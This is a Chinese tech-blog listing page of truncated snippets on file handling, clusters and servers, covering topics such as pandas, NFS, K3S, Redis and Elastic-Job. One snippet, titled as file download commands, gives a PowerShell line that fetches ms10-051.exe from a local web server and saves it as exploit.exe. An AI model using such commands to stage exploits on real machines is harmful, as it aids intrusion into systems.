分布式 集群 服务器 文件
python pandas保存 。dta文件报错：UnicodeEncodeError: 'latin-1' codec can't encode characters in position 0-2: ordinal not in range(256)应对
pandas 保存.dta文件时报错： UnicodeEncodeError: 'latin-1' codec can't encode characters in position 0-2: ordinal not in range(256) import pandas as pd df = pd ......
[转]PVE内的虚拟机访问宿主机文件(nfs安装)
需求是想让 一个虚拟机 挂载 一个宿主机硬盘上已经存在的文件夹进行访问, 最早是想看pve本身有没有类似解决方案,比如把一个文件夹直接虚拟为一个硬盘分区,但是没有找到,添加硬盘分区要么直通物理硬盘,要么新建一个虚拟分区(空的,没有文件), 最后找到的解决方案,还是靠网络进行文件的共享,因为宿主机虚拟 ......
linux 增量复制不同文件到另一个文件夹
1、脚本说明： linux 增量复制不同文件到另一个文件夹。 用法：sh copy.sh 源目录 目标目录 #!/bin/sh if [ $# -ne 2 ]; then echo "Usage:./incremental_copy.sh source_dir destination_dir" ex ......
解决集群环境下定时任务多次执行的办法有哪些？
只在一台服务器上部署该定时任务代码 优点：解决方法容易理解 缺点：部署麻烦，需要多套代码，且当这台服务器出问题时就没定时任务了。 在定时任务代码上加上某个特定的ip限制，仅某个ip的服务器能运行该定时任务 优点：解决方法容易理解，部署简单，不需要多套代码。 缺点：同上，只能规定一台服务器运行，发生故 ......
Rancher 系列文章-K3S 集群升级
概述 书接上回：《Rancher 系列文章-Rancher 升级》, 我们提到：将 Rancher 用 Helm 从 v2.6.3 升级到 v2.6.4. 接下来开始进行 K3S 集群的升级：将 K3S 集群从 v1.21.7+k3s1 升级到 v1.22.5+k3s2 相关信息 本次升级的 K3S ......
GO实现Redis：GO实现Redis集群（5）
采用一致性hash算法将key分散到不同的节点，客户端可以连接到集群中任意一个节点 https://github.com/csgopher/go-redis 本文涉及以下文件： consistenthash：实现添加和选择节点方法 standalone_database：单机database cli ......
如何将PNG, JPEG, GIF,BMP等格式图片转换为ICO格式图标文件？
如何将PNG, JPEG, GIF,BMP等格式图片转换为ICO格式图标文件？ ICO格式文件是一种包含一个或多个小尺寸图片的图片文件，主要应用在Windows系统中。达芬奇前几天同大家分享了windows系统图标文件存储方式、存放位置、默认图标更改及使用方式全解析，其中讲到图标文件的更改，虽然可以 ......
SpringBoot Windows 自启动 - 通过 Windows Service 服务实现
将 SpringBoot 注册为 Windows Service服务 可实现 SpringBoot 项目在Windows 中随系统自启动。也不用担心被识关闭 ......
配置文件完成动态条件查询
问题：用户输入条件时，是否所有条件都会填写？ 解决方案：**SQL语句会随着用户的输入或外部条件的变化而变化，我们称为动态SQL。 **MyBatis对动态SQL有很强大的支撑 *if *choose(when,otherwise) *trim(where) *foreach 步骤一：BrandMa ......
分布式任务调度框架之Elastic-Job
1、前言 1.1、什么是任务调度? 我们可以先思考一下下面业务场景的解决方案： 某电商系统需要在每天上午 10点，下午3点，晚上8点发放一批优惠券。 某银行系统需要在信用卡到期还款日的前三天进行短信提醒。 某财务系统需要在每天凌晨 0:10结算前一天的财务数据，统计汇总。 12306 会根据车次的不 ......
Elasticsearch 学习-windows上搭建集群
Elasticsearch 学习-windows上搭建集群 3.1 相关概念 3.1.1 单机**&** 集群 单台Elasticsearch服务器提供服务，往往都有最大的负载能力，超过这个阈值，服务器性能就会大大降低甚至不可用，所以生产环境中，一般都是运行在指定服务器集群中。 ==除了负载能力，单 ......
Access数据库文件解密
题记： 在众多单机管理系统中，往往使用的就是Access数据库。一般数据存放在安装软件的data文件夹中，数据库文件一般以： ".mdb" 结尾的文件，注：一般将.mdb文件打开后会产生一个：".ldb"结尾的数据库锁文件。 记录问题背景： 有一次，朋友帮忙一个用户迁移单机管理工具。由于迁移前期没有 ......
通过 Amazon Managed Microsoft Active Directory 运行混合 Active Directory 服务
企业客户通常需要构建混合 Active Directory 解决方案，以支持在现有本地企业数据中心和 Amazon Cloud 中运行的应用程序。这样做的理由有很多，例如，保持与本地旧版应用程序的集成、保持对基础设施资源的控制以及满足特定的行业合规性要求。为了将本地 Active Directory ......
NFS服务器搭建
NFS服务器 1、NFS简介 NFS（Network File System）即网络文件系统，是FreeBSD支持的文件系统中的一种，它允许网络中的计算机之间通过TCP/IP网络共享资源 在NFS的应用中，本地NFS的客户端应用可以透明地读写位于远端NFS服务器上的文件，就像访问本地文件一样 nfs ......
Python通过xlsxwriter、openpyxl将文件夹内批量视频文件信息导入到Excel中
Python通过xlsxwriter、openpyxl将文件夹内批量视频文件信息导入到Excel中 工作时领导布置了一个任务，文件夹里视频文件太多了，让我整理一下，把视频文件的信息（文件名、修改日期、文件大小、视频时长）都导入到一个Excel中，最好还是带缩略图的，上网查了不少资料，中间也遇到了一些 ......
分享一个修改了xml文件再也不用重启的项目mybatis-xmlrealod
自我18年使用 Mybaits 以来，开发环境中如果修改了 xml 文件后，只有重启项目才能生效，如果小项目重启还好，但是对于一个重启需要十几分钟的大型项目来说，这就非常耗时了。开发人员因为修改了xml 文件少量内容，比如添加一个逗号、查询增加一个字段或者修改一个 bug 等，就需要重启整个项目，这... ......
使用WGCLOUD工具对ubuntu服务器进行入侵检测分析
WGCLOUD监测平台，有个日志监控模块，我们本文就用它来进行ubuntu的入侵检测分析 准备：ubuntu 20，WGCLOUD v3.4.5 ubuntu的登录日志文件，用于分析用户登录行为：/var/log/auth.log，我们今天就用ubuntu了 提示：如果是centos系统，分析用户登 ......
分布式技术原理与算法解析 02 - 分布式计算
分布式计算模式之MR MapReduce就是将复杂的、难以直接解决的大问题，分割为规模较小的、可直接解决的小问题。这些子问题相互独立且和原问题形式相同，可递归地求解，然后将子问题的答案合并。核心步骤为 1.分解原问题 2.求解子问题 3.合并解 工作原理 Map对应分，Reduce对应合。主要包括3 ......
wordpress 修改上传文件大小限制
1. 新建phpinfo.php文件，通过网页访问。 <?phpphpinfo();?> 2. 在phpinfo网页上找到php.ini所在目录。 3. 用nano打开php.ini 文件并找到下面配置字段，修改成你想要的数值。 memory_limit=128M //相当于单个脚本可调用内存大小p ......
python绘制wav音频文件波形图
python绘制wav音频文件波形图 #-*- coding: utf-8 -*- import wave import pylab as pl import numpy as np print('working') #打开wav文档 file = wave.open(r"02.wav", "rb" ......
文件下载命令
Powershell powershell.exe -Command "Invoke-WebRequest -Uri http://127.0.0.1:8080/ms10-051.exe -OutFile exploit.exe" powershell.exe -Command "Invoke-Re ......
打开文件操作open函数
open()是Python中的一个内置函数，用于打开文件并读取或写入文件。open()函数返回一个file object，可以对该文件进行读写操作。 下面是open()函数的用法： open(file, mode='r', buffering=-1, encoding=None, errors=No ......
Linux中etc下的password和shadow文件介绍
1./etc/passwdroot @root:~# cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbi ......
JavaSE——File文件
File类 概述 java.io.File 类是文件和目录路径名的抽象表示，主要用于文件和目录的创建、查找和删除等操作。 构造方法 public File(String pathname) ：通过将给定的路径名字符串转换为抽象路径名来创建新的 File实例。 public File(String p ......
pycharm怎么把sql文件导入进数据库？
问题： 我同事给我一个.sql文件，让我导入数据进数据库。我怎么导入呢？ 答案： 关键命令是： mysql> source /home/database/test.sql; 在pycharm中， 选择一个数据库（相当于文件夹），我这里选择day01，执行SQL语句 结果如下： 参考连接：https: ......
Springboot 系列 (25) - Springboot+HBase 大数据存储（三）| HBase Shell，HBase REST 服务 和 Phoenix 组件
在 “Springboot 系列 (24) - Springboot+HBase 大数据存储（二）| 安装配置 Apache HBase 和 Apache Zookeeper” 里我们安装配置了 Apache HBase 和 Apache Zookeeper，本文将介绍 HBase Shell，HB ......
Linux中/etc下面passwd和shadow文件介绍
1、用户及passwd文件 1)掌握/etc/passwd文件的功能：存储所有用户的相关信息，每一个用户占用一行记录，该文件也被称为用户信息数据库（Database） 2)/etc/passwd文件中每个字段的具体含义： a)第1个字段（列）：记录的是这个用户的名字（在创建用户时root用户起的） ......